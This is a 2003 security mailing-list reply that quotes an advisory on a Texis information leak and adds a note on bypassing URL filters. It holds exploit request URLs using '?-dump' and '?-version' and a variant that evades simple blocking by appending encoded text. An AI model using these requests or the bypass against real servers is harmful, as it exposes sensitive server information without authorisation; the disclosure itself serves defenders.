Re: (#)Mordred Labs advisory - Texis sensitive information leak

From: Kurt Seifried (kurtseifried.org)
Date: Fri Mar 14 2003 - 22:51:59 CST

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> //(#) Mordred Security Labs advisory
>
> Release date: March 15, 2003
> Name: Texis sensitive information leak
> Versions affected: all versions
> Risk: average
> Author: Sir Mordred (mordreds-mail.com, http://mslabs.iwebland.com)

> III. Exploit:
>
> http://victim.com/texis.exe/?-version
> http://victim.com/texis.exe/?-dump

Please note that simply blocking URL's ending in "?-dump" and "?-version"
won't work. You can append a space and additional text, such as:

http://www.example.org/cgi-bin/texis.exe?-dump%20kjshkjhskjsh.html

I didn't bother to test any other special characters or encoding (i.e.
UNICODE), I suspect there may be other ones that can be used.

Kurt Seifried, kurtseifried.org
A15B BEE5 B391 B9AD B0EF
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http://seifried.org/security/

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